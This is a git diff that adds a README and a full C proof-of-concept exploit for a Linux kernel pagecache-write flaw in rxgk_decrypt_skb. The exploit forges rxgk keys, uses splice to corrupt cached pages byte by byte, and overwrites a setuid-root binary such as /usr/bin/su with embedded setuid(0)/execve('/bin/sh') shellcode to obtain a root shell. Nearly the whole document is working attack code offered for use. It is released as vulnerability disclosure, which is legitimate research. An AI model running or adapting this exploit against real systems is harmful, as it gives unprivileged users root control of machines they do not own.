diff --git a/dirtydecrypt/README.md b/dirtydecrypt/README.md new file mode 100644 index 0000000..84ef218 --- /dev/null +++ b/dirtydecrypt/README.md @@ -0,0 +1,12 @@ +# DirtyDecrypt / DirtyCBC + +DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on [May 9, 2026](https://x.com/v12sec/status/2053029838995263854), but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline. It's a rxgk pagecache write due to missing COW guard in rxgk_decrypt_skb. See `poc.c` for more details. + +DirtyDecrypt was discovered autonomously with [V12](https://v12.sh) by Aaron Esau of the [V12 security team](https://x.com/v12sec). + +> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh). + +``` +$ sha256sum ./poc.c +8054e424466ed2c353b94fb25643e17bef50b31be95038e1c700156357e2d74b ./poc.c +``` diff --git a/dirtydecrypt/poc.c b/dirtydecrypt/poc.c new file mode 100644 index 0000000..6488640 --- /dev/null +++ b/dirtydecrypt/poc.c @@ -0,0 +1,647 @@ +/* + * rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb() + * + * net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then + * crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template + * (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb + * frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback), + * the in-place decrypt corrupts the page cache. + * + * The same pattern exists in rxkad (rxkad_verify_packet_2). + * + * Exploitation uses a sliding-window technique to write arbitrary bytes to the + * pagecache one at a time. Each round fires a spliced rxgk packet at offset + * S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly + * random (1/256 chance of the target value). Round i+1 at offset S+i+1 + * overwrites the 15 bytes of collateral from round i, but never touches the + * byte set by round i. This yields byte-granularity writes at ~256 fires per + * byte. + * + * Attack: rewrite /etc/passwd root entry → empty password → su root → flag. + * + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __has_include +# if __has_include() +# include +# include +# include +# else +# define NEED_RXRPC_DEFS +# endif +#else +# include +# include +# include +#endif + +#ifndef AF_RXRPC +#define AF_RXRPC 33 +#endif +#ifndef SOL_RXRPC +#define SOL_RXRPC 272 +#endif + +#ifdef NEED_RXRPC_DEFS +#define KEY_SPEC_PROCESS_KEYRING (-2) +#define RXRPC_SECURITY_KEY 1 +#define RXRPC_MIN_SECURITY_LEVEL 4 +#define RXRPC_SECURITY_ENCRYPT 2 +#define RXRPC_USER_CALL_ID 1 +struct sockaddr_rxrpc { + unsigned short srx_family; + uint16_t srx_service; + uint16_t transport_type; + uint16_t transport_len; + union { + unsigned short family; + struct sockaddr_in sin; + struct sockaddr_in6 sin6; + } transport; +}; +#endif + +#define RXGK_SECURITY_INDEX 6 +#define ENCTYPE_AES128_CTS 17 +#define AES_KEY_LEN 16 + +struct rxrpc_wire_header { + uint32_t epoch; + uint32_t cid; + uint32_t callNumber; + uint32_t seq; + uint32_t serial; + uint8_t type; + uint8_t flags; + uint8_t userStatus; + uint8_t securityIndex; + uint16_t cksum; + uint16_t serviceId; +} __attribute__((packed)); + +#define RXRPC_PACKET_TYPE_DATA 1 +#define RXRPC_PACKET_TYPE_CHALLENGE 6 +#define RXRPC_LAST_PACKET 0x04 + +#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__) +#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) + +/* --- helpers --- */ + +static long key_add(const char *type, const char *desc, + const void *payload, size_t plen, int ringid) +{ + return syscall(SYS_add_key, type, desc, payload, plen, ringid); +} + +static int write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +/* --- user/net namespace --- */ + +static void setup_ns(void) +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + if (unshare(CLONE_NEWNET) < 0) { + perror("unshare"); + exit(1); + } + } else { + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", uid); + write_proc("/proc/self/uid_map", map); + snprintf(map, sizeof(map), "0 %u 1", gid); + write_proc("/proc/self/gid_map", map); + } + + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s >= 0) { + struct ifreq ifr = {}; + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + ioctl(s, SIOCSIFFLAGS, &ifr); + } + close(s); + } +} + +/* --- rxgk XDR token construction --- */ + +static void xdr_put32(uint8_t **pp, uint32_t val) +{ + uint32_t nv = htonl(val); + memcpy(*pp, &nv, 4); + *pp += 4; +} + +static void xdr_put64(uint8_t **pp, uint64_t val) +{ + xdr_put32(pp, (uint32_t)(val >> 32)); + xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF)); +} + +static void xdr_put_data(uint8_t **pp, const void *data, size_t len) +{ + xdr_put32(pp, (uint32_t)len); + memcpy(*pp, data, len); + *pp += len; + size_t pad = (4 - (len & 3)) & 3; + if (pad) { memset(*pp, 0, pad); *pp += pad; } +} + +static int build_rxgk_token(uint8_t *out, size_t maxlen, + const uint8_t *base_key, size_t keylen) +{ + uint8_t *p = out; + struct timespec ts; + clock_gettime(CLOCK_REALTIME, &ts); + uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL + + (uint64_t)ts.tv_nsec / 100ULL; + + xdr_put32(&p, 0); /* flags */ + xdr_put_data(&p, "poc.test", 8); /* cell */ + xdr_put32(&p, 1); /* ntoken */ + + uint8_t tok[512]; + uint8_t *tp = tok; + xdr_put32(&tp, RXGK_SECURITY_INDEX); + xdr_put64(&tp, now); /* begintime */ + xdr_put64(&tp, now + 864000000000ULL); /* endtime */ + xdr_put64(&tp, 2); /* level = ENCRYPT */ + xdr_put64(&tp, 864000000000ULL); /* lifetime */ + xdr_put64(&tp, 0); /* bytelife */ + xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */ + xdr_put_data(&tp, base_key, keylen); /* key */ + uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE}; + xdr_put_data(&tp, ticket, sizeof(ticket)); + + size_t toklen = (size_t)(tp - tok); + xdr_put32(&p, (uint32_t)toklen); + memcpy(p, tok, toklen); + p += toklen; + + if ((size_t)(p - out) > maxlen) return -1; + return (int)(p - out); +} + +static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen) +{ + uint8_t buf[1024]; + int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen); + if (n < 0) return -1; + return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); +} + +/* --- AF_RXRPC client + fake UDP server --- */ + +static int setup_rxrpc_client(uint16_t local_port, const char *keyname) +{ + int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (fd < 0) return -1; + + if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, + keyname, strlen(keyname)) < 0) { + close(fd); return -1; + } + int min_level = RXRPC_SECURITY_ENCRYPT; + if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, + &min_level, sizeof(min_level)) < 0) { + close(fd); return -1; + } + + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = 0; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(local_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { + close(fd); return -1; + } + return fd; +} + +static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id) +{ + char data[] = "TESTDATA"; + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = service_id; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(srv_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; + struct msghdr msg = {0}; + msg.msg_name = &srx; + msg.msg_namelen = sizeof(srx); + struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = sizeof(cmsg_buf); + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_RXRPC; + cmsg->cmsg_type = RXRPC_USER_CALL_ID; + cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); + *(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD; + + int fl = fcntl(cli_fd, F_GETFL); + fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); + ssize_t n = sendmsg(cli_fd, &msg, 0); + fcntl(cli_fd, F_SETFL, fl); + + if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) + return -1; + return 0; +} + +static int setup_udp_server(uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) return -1; + struct sockaddr_in sa = { + .sin_family = AF_INET, + .sin_port = htons(port), + .sin_addr.s_addr = htonl(0x7F000001), + }; + int one = 1; + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + close(s); return -1; + } + return s; +} + +static ssize_t udp_recv(int s, void *buf, size_t cap, + struct sockaddr_in *from, int timeout_ms) +{ + struct pollfd pfd = { .fd = s, .events = POLLIN }; + if (poll(&pfd, 1, timeout_ms) <= 0) return -1; + socklen_t fl = from ? sizeof(*from) : 0; + return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); +} + +/* + * Fire one splice-based pagecache corruption at the given file offset. + * Sets up an rxgk connection with the provided key, completes the handshake + * via a fake UDP server on loopback, then splices pagecache pages into a + * forged DATA packet. The kernel's in-place decrypt corrupts the pagecache. + * + * Returns 1 on fire, -1 on setup error. + */ +static int trigger_seq = 0; + +static int fire(int target_fd, off_t splice_off, size_t splice_len, + const uint8_t *base_key, size_t keylen) +{ + char keyname[32]; + snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++); + + long key = add_rxgk_key(keyname, base_key, keylen); + if (key < 0) return -1; + + /* Use high-entropy ports to avoid TIME_WAIT collisions */ + uint16_t port_S = 10000 + (rand() % 27000) * 2; + uint16_t port_C = port_S + 1; + int ret = -1; + + int udp_srv = setup_udp_server(port_S); + if (udp_srv < 0) goto out_key; + + int cli = setup_rxrpc_client(port_C, keyname); + if (cli < 0) goto out_udp; + + if (initiate_call(cli, port_S, 1234) < 0) + goto out_cli; + + uint8_t pkt[2048]; + struct sockaddr_in cli_addr; + ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50); + if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli; + + struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt; + uint32_t epoch = ntohl(hdr->epoch); + uint32_t cid = ntohl(hdr->cid); + uint32_t callN = ntohl(hdr->callNumber); + uint16_t svc = ntohs(hdr->serviceId); + uint16_t cport = ntohs(cli_addr.sin_port); + + /* send challenge */ + { + uint8_t ch[sizeof(struct rxrpc_wire_header) + 20]; + memset(ch, 0, sizeof(ch)); + struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch; + c->epoch = htonl(epoch); + c->cid = htonl(cid); + c->serial = htonl(0x10000); + c->type = RXRPC_PACKET_TYPE_CHALLENGE; + c->securityIndex = RXGK_SECURITY_INDEX; + c->serviceId = htons(svc); + for (int i = 0; i < 20; i++) + ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF; + struct sockaddr_in to = { .sin_family = AF_INET, + .sin_port = htons(cport), + .sin_addr.s_addr = htonl(0x7F000001) }; + sendto(udp_srv, ch, sizeof(ch), 0, + (struct sockaddr *)&to, sizeof(to)); + } + + /* drain response(s) */ + for (int i = 0; i < 3; i++) { + struct sockaddr_in src; + if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break; + } + + /* forge DATA packet: wire header from userspace, payload from pagecache */ + struct rxrpc_wire_header mal = {0}; + mal.epoch = htonl(epoch); + mal.cid = htonl(cid); + mal.callNumber = htonl(callN); + mal.seq = htonl(1); + mal.serial = htonl(0x42000); + mal.type = RXRPC_PACKET_TYPE_DATA; + mal.flags = RXRPC_LAST_PACKET; + mal.securityIndex = RXGK_SECURITY_INDEX; + mal.serviceId = htons(svc); + + struct sockaddr_in dst = { .sin_family = AF_INET, + .sin_port = htons(cport), + .sin_addr.s_addr = htonl(0x7F000001) }; + if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) + goto out_cli; + + int p[2]; + if (pipe(p) < 0) goto out_cli; + struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; + if (vmsplice(p[1], &viv, 1, 0) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + loff_t off = splice_off; + if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + close(p[0]); close(p[1]); + + usleep(1000); + + /* drain the error from the client socket (HMAC check fails as expected) */ + int fl = fcntl(cli, F_GETFL); + fcntl(cli, F_SETFL, fl | O_NONBLOCK); + for (int i = 0; i < 2; i++) { + char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; + struct msghdr m = {0}; + struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; + m.msg_name = &srx; m.msg_namelen = sizeof(srx); + m.msg_iov = &iv; m.msg_iovlen = 1; + m.msg_control = ccb; m.msg_controllen = sizeof(ccb); + recvmsg(cli, &m, 0); + } + ret = 1; + +out_cli: + close(cli); +out_udp: + close(udp_srv); +out_key: + syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING); + syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key); + return ret; +} + +/* --- sliding window write with progress display --- */ + +static void progress(int done, int total, int fires) +{ + int width = 40; + int filled = total ? (done * width / total) : 0; + int pct = total ? (done * 100 / total) : 0; + fprintf(stderr, "\r ["); + for (int j = 0; j < width; j++) + fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr); + fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires); + if (done == total) fputc('\n', stderr); + fflush(stderr); +} + +static int pagecache_write(int rfd, void *map, off_t base, + const uint8_t *target, int len, off_t file_size, + const char *label) +{ + uint8_t key[16]; + uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); + struct timespec t0; + clock_gettime(CLOCK_MONOTONIC, &t0); + int total = 0; + + int max_off = (int)(file_size - 28); + if (base + len - 1 > max_off) + len = max_off - (int)base + 1; + + /* Find first byte that differs. We must write everything from there + * onward, because each round's 15-byte damage zone corrupts the next + * bytes even if they originally matched. */ + int start = 0; + for (int i = 0; i < len; i++) { + uint8_t cur; + pread(rfd, &cur, 1, base + i); + if (cur != target[i]) { start = i; break; } + if (i == len - 1) { + LOG("pagecache already matches, skipping write"); + return 0; + } + } + int need = len - start; + + LOG("writing shellcode to %s (%d bytes from offset %d)", + label, need, (int)base + start); + progress(0, need, 0); + + for (int i = start; i < len; i++) { + off_t off = base + i; + uint8_t want = target[i]; + uint8_t cur; + pread(rfd, &cur, 1, off); + + if (cur == want && i > start) { + /* Byte matches AND we haven't just written (no damage pending). + * This only happens for the first byte after start, which is + * impossible since start IS the first diff. After that, each + * round's damage means we always write. Just be safe: */ + continue; + } + + int ok = 0; + for (int att = 0; att < 10000; att++) { + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; + uint64_t r = seed; + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; + memcpy(key, &r, 8); + memcpy(key + 8, &seed, 8); + + size_t slen = 28; + if (off + (off_t)slen > file_size) slen = file_size - off; + if (slen < 16) slen = 16; + int rc = fire(rfd, off, slen, key, AES_KEY_LEN); + total++; + if (rc == 1 && ((const uint8_t *)map)[off] == want) { + ok = 1; + progress(i - start + 1, need, total); + break; + } + } + if (!ok) { + fprintf(stderr, "\n"); + ERR("byte %d/%d failed", i - start + 1, need); + return -1; + } + } + + struct timespec t1; + clock_gettime(CLOCK_MONOTONIC, &t1); + double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9; + LOG("%d fires in %.1fs", total, dt); + return 0; +} + +/* --- tiny ELF: setuid(0) + execve("/bin/sh") --- + * 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr. + * Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64). + * PT_LOAD covers 120 bytes; the 15-byte sliding-window damage + * tail at offset 120+ is past the loadable segment. */ +static const uint8_t tiny_elf[] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */ + 0xb0,0x69,0x0f,0x05, /* setuid(0) */ + 0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */ + 0x6a,0x3b,0x58, /* push 59; pop rax */ + 0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */ +}; + +/* --- main --- */ + +int main(int argc, char **argv) +{ + (void)argc; (void)argv; + srand(time(NULL) ^ getpid()); + + fprintf(stderr, "\n=== rxgk pagecache write ===\n"); + fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid()); + + /* Target: any setuid-root binary readable by us. */ + const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount", + "/usr/bin/passwd", "/usr/bin/chsh", NULL }; + const char *target_path = NULL; + for (int i = 0; targets[i]; i++) { + struct stat sb; + if (stat(targets[i], &sb) == 0 && + (sb.st_mode & S_ISUID) && + sb.st_uid == 0 && + access(targets[i], R_OK) == 0) { + target_path = targets[i]; + break; + } + } + if (!target_path) { ERR("no readable setuid-root binary found"); return 1; } + + /* Back up the target binary so the root shell can restore it. */ + char backup[256]; + const char *base = strrchr(target_path, '/'); + base = base ? base + 1 : target_path; + snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid()); + { + int src = open(target_path, O_RDONLY); + int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (src >= 0 && dst >= 0) { + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) + write(dst, buf, n); + } + if (src >= 0) close(src); + if (dst >= 0) close(dst); + } + + int rfd = open(target_path, O_RDONLY); + if (rfd < 0) { perror(target_path); return 1; } + + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0); + if (map == MAP_FAILED) { perror("mmap"); return 1; } + + pid_t pid = fork(); + if (pid < 0) { perror("fork"); return 1; } + if (pid == 0) { + setup_ns(); + usleep(10000); + + int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); } + close(sock); + + struct stat sb; + fstat(rfd, &sb); + _exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0); + } + + int st; + waitpid(pid, &st, 0); + if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { + ERR("corruption failed (status 0x%x)", st); + unlink(backup); + return 1; + } + + munmap(map, 4096); + close(rfd); + + LOG("exec %s", target_path); + LOG("restore: cp %s %s", backup, target_path); + fflush(stderr); + + execlp(target_path, target_path, (char *)NULL); + perror(target_path); + return 1; +}